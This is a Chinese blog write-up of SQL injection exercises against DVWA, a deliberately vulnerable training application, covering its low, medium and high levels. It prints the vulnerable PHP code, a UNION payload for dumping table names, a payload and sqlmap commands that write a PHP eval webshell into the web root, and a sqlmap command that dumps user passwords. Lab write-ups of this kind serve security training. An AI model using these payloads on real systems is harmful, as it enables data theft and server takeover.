【dvwa】--SQL注入

为了准备跑路,练习ing。

SQL注入篇

LOW级别

先上源码

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_REQUEST[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
    
    
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        // Feedback for end user
        echo "<pre>ID: {
      
      $id}<br />First name: {
      
      $first}<br />Surname: {
      
      $last}</pre>";
        // Increase loop count
        $i++;
    }
    mysql_close();
}
?>

从源码中可以发现,输入的参数直接带入到了SQL语句中执行,并未做任何过滤。

手注

在这里插入图片描述
输入1’报错,后端未对SQL错误进行屏蔽
确认存在注入
尝试构造payload测试,获取当前的表名

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
爆表名
发现存在users表,根据表名爆列名
爆列名
发现字段名,根据字段名获取字段值
获取字段值
拿到md5后,到cmd5破解即可
利用SQL注入写入webshell,payload

http://192.168.57.200/vulnerabilities/sqli/?id=1' union select 1,'<?php @eval($_POST[pass]);?>' into outfile '/var/www/html/shell.php' #&Submit=Submit#

需要是数据库管理员
有web目录有写入权限
站库未分离
写入webshell

使用sqlmap写入webshell,必须要指定远端服务器上的文件名

sqlmap -u "http://192.168.57.200/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ngt585ss15mus0hmek7ra7jid0; security=low" --file-write "/root/shell1.php" --file-dest "/var/www/html/shell1.php"

菜刀连接:
菜刀连接成功

MEDIUM级别

先上源码

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
    
    
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        // Feedback for end user
        echo "<pre>ID: {
      
      $id}<br />First name: {
      
      $first}<br />Surname: {
      
      $last}</pre>";
        // Increase loop count
        $i++;
    }
    //mysql_close();
}
?>

从源码中可以看出有使用mysql_real_escape_string()对输入的数据进行过滤。百度一下发现过滤了单双引号:

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\

"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

过滤了单双引号,where后面就不能使用单双引号了。可以改成16进制编码绕过,此处不再重复。改成16进制后,where后面不需要使用“”

数据库版本:
mysql> select @@version;
±------------------------+
| @@version |
±------------------------+
| 5.5.47-0ubuntu0.14.04.1 |
±------------------------+
获取到列名

high级别

源码:

SQL Injection Source
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
    
    
    // Get input
    $id = $_SESSION[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
    
    
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        // Feedback for end user
        echo "<pre>ID: {
      
      $id}<br />First name: {
      
      $first}<br />Surname: {
      
      $last}</pre>";
        // Increase loop count
        $i++;
    }
    mysql_close();
}
?>

二阶注入
从图中可以看出,源码未对输入内容进行过滤。但需要在新的页面中手注。此处也可以使用sqlmap实现二阶注入

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" --second-url "http://localhost/dvwa/vulnerabilities/sqli/" -D dvwa -T users -C user,password --dump

猜你喜欢

转载自blog.csdn.net/Nicky_Zheng/article/details/107934419